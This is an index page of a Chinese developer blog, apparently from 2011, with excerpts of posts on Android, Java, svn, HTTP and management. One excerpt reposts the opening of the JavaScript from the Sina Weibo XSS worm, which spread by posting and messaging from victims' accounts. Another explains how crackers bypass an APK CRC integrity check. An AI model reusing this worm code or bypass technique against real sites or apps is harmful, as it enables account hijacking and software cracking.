jfo planet

Hope is the best gift that tomorrow gives.

  • 首页
  • 分类
  • 归档
  • 标签
  • 搜索
close

Property Animation in Honeycomb

发表于 2011-07-26   |   分类于 Android
http://android-developers.blogspot.com/2011/02/animation-in-honeycomb.html 1.使用ValueAnimator在回调函数中执行动画操作ValueAnimatoranim=ValueAnimator.ofFloat(0f,1f);// ValueAnimatoranim=ValueAnimator.ofInt(0,100);anim.setDuration(500);anim.addUpdateListener(newValueAnimator.AnimatorUpdateListener(){       publicvoidonAnimationUpdate(ValueAnimatoranimation){           Floatvalue=(Float)animation.getAnimatedValue();          & ...
阅读全文 »

Android联系人数据库

发表于 2011-07-24   |   分类于 Android
http://jasonshieh.iteye.com/blog/793537 URI:ContactsContract.Contacts.CONTENT_URI (content://com.android.contacts/contacts)        ContactsContract.Contacts._ID        ContactsContract.Contacts.DISPLAY_NAME        ContactsContract.Contacts.HAS_PHONE_NUMBERContactsContract.CommonDataKinds.Phone.CONTENT_URI (content://com.android.contacts/data/phones)        ContactsContract.CommonDataKinds.Phone.C ...
阅读全文 »

Java Generic Class

发表于 2011-07-23   |   分类于 Java
http://download.oracle.com/javase/tutorial/extra/generics/fineprint.htmlA Generic Class is Shared by All Its InvocationsWhat does the following code fragment print?List <String> l1 = new ArrayList<String>(); List<Integer> l2 = new ArrayList<Integer>(); System.out.println(l1.getClass() == l2.getClass()); You might be tempted to say false, but you’d be wrong. It prints true, because all instances of a generic class have the same run-time class, reg ...
阅读全文 »

新浪微博的XSS攻击的JS代码

发表于 2011-07-17   |   分类于 python/js/php/html/mysql/http
新浪微博事件利用了微博广场页面 http://weibo.com/pub/star 的一个URL注入js脚本,发微博、发站内消息。更多参考http://coolshell.cn/articles/4914.htmlfunction createXHR(){    return window.XMLHttpRequest?    new XMLHttpRequest():    new ActiveXObject("Microsoft.XMLHTTP");}function getappkey(url){    xmlHttp = createXHR();    xmlHttp.open("GET",url,false);    xmlHttp.send();    result = xmlHttp.responseText;    id_arr = ‘’;    id ...
阅读全文 »

解决Android下Wap模式无法访问网络的问题

发表于 2011-07-15   |   分类于 Android
http://blog.liaoxiaoqi.com/?p=563经过测试发现,这个问题的产生是由于运营商(不管是移动、联通还是电信都一个德行。。)提供的wap方式访问网络需要通过代理网关,而我们在程序中使用的网络连接是http直连的方式,因此无法访问网络。解决这个问题的主要思路包括:检测当前网络环境,判断网络状态在联网状态下,判断联网方式是Wifi或者GPRS在GPRS连接方式下,判断上网方式是net或是wap对于wap连接方式,在程序进行连接时,设置上相应的代理即可。主要用到的代码如下: ////////////////////////////////////////////////////////////////////////////////// 采用URLConnection的方式////////////////////////////////////////////////////////////////////////////////Proxy proxy;boolean getSuccess = false;URL url;URLConnection url ...
阅读全文 »

anti-cracking / anti-reverse-engineering function

发表于 2011-07-10   |   分类于 Android
为防止自己的android应用被crack,可以在程序启动时做一些判断:1.生成apk时,解压出其中的classes.dex,取得其CRC值,并将该值写入xml文件(如android:tag="4212136116");2.在程序启动时取得该CRC值,与手机上安装的apk包中的classes.dex的实际CRC值比较即可。下面给出了integrity check的示例代码。 当然该方法存在一些问题,hacker可以通过检查参数为(Context, String, String)的函数,如果其中含有zipEntry的getCrc()函数和killProcess()函数,可以在该函数开始部分直接插入return,就可以绕过检查了。 改进方法参考:参考:http://groups.google.com/group/android-developers/browse_thread/thread/5e8f76ea5371f674/4637cbf1c42dfd22?lnk=gst&q=anti-cracking#4637cbf1c42dfd22&n ...
阅读全文 »

软件公司的两种管理方式

发表于 2011-07-09   |   分类于 产品
转 http://coolshell.cn/articles/4951.html这篇文章是我的一个外国的同事Gareth推荐给我的,我和他一起工作过一段时间。他之所以觉得非常不错,是因为这篇文章让他身有体会,他觉得我也一定会有体会,并让我考虑一下翻译到我的blog上来。我看完后觉得很有代表性,而且觉得说得太对了,所以翻译过来,希望大家都读一读,最好转给你的公司老板。这篇文章来源于 StakeExchange上的一个问题——“为什么BA和PM的薪水要比程序员要高?”,顶在一楼的回复分析了这个原因,并指出了两种管理文化。———————————————————正文开始————————————————————一个简单的回答应该是——“因为在我们的社会里,我们总是会认为薪水和会和职位的层次绑在一起”。但是,这个答案同时也折射出一个事实——我们的薪资是基于我们的所理解的价值,但这并没有解释为什么PM(Project Manager)和BA(Business Analysts)在很多软件公司里在组织的上层?为什么软件项目团队总是在最底层?这两个问题真是非常地值得我们去问,去思考。总体来说 ...
阅读全文 »

linux常用svn命令

发表于 2011-07-07   |   分类于 Linux App
http://blog.csdn.net/nancy198696/article/details/4059726——————-svn log -l 2 -v              显示最近两次提交信息(包括改动哪些文件)svn cat -r 1910 file      打印输出某一版本的文件svn diff -r 1914:1910 file    显示两个版本文件的差异svn update  -r  1910   将代码更新到某个版本svn resolved filename.java  解析冲突文件svn list http://svn.collab.net/repos/svnsvn switch url    更新工作副本至不同的URL——————-linux常用svn命令 原地址:http://www.rjgc.net/control/cont ...
阅读全文 »

HTTP幂等性概念和应用

发表于 2011-06-16   |   分类于 python/js/php/html/mysql/http
http://coolshell.cn/articles/4787.html基于HTTP协议的Web API是时下最为流行的一种分布式服务提供方式。无论是在大型互联网应用还是企业级架构中,我们都见到了越来越多的SOA或RESTful的Web API。为什么Web API如此流行呢?我认为很大程度上应归功于简单有效的HTTP协议。HTTP协议是一种分布式的面向资源的网络应用层协议,无论是服务器端提供Web服务,还是客户端消费Web服务都非常简单。再加上浏览器、Javascript、AJAX、JSON以及HTML5等技术和工具的发展,互联网应用架构设计表现出了从传统的PHP、JSP、ASP.NET等服务器端动态网页向Web API + RIA(富互联网应用)过渡的趋势。Web API专注于提供业务服务,RIA专注于用户界面和交互设计,从此两个领域的分工更加明晰。在这种趋势下,Web API设计将成为服务器端程序员的必修课。然而,正如简单的Java语言并不意味着高质量的Java程序,简单的HTTP协议也不意味着高质量的Web API。要想设计出高质量的Web API,还需要深入理解分布式系 ...
阅读全文 »

mobile development platforms

发表于 2011-06-16   |   分类于 Android
 PhoneGaphttp://www.mobiledevelopersolutions.com/home/start/included-demo-apps Particle Platform,一份代码多个平台http://www.particlecode.com/download/create native applications for smartphone platforms as well as HTML5 web applications Maqettahttps://github.com/maqetta/maqettaMaqetta provides WYSIWYG authoring of HTML5 user interfaces using drag/drop assembly. Maqetta supports both desktop and mobile user interfaces. The Maqetta application itself is authored in HTML5/Ajax, and therefore ...
阅读全文 »
1…141516…61
jfo

jfo

605 日志
38 分类
4 标签
RSS
GitHub 微博
友情链接
  • 收藏夹
  • 网络剪贴板
  • 爱逛吧
© 2007 - 2018 jfo
由 Hexo 强力驱动
主题 - NexT.Pisces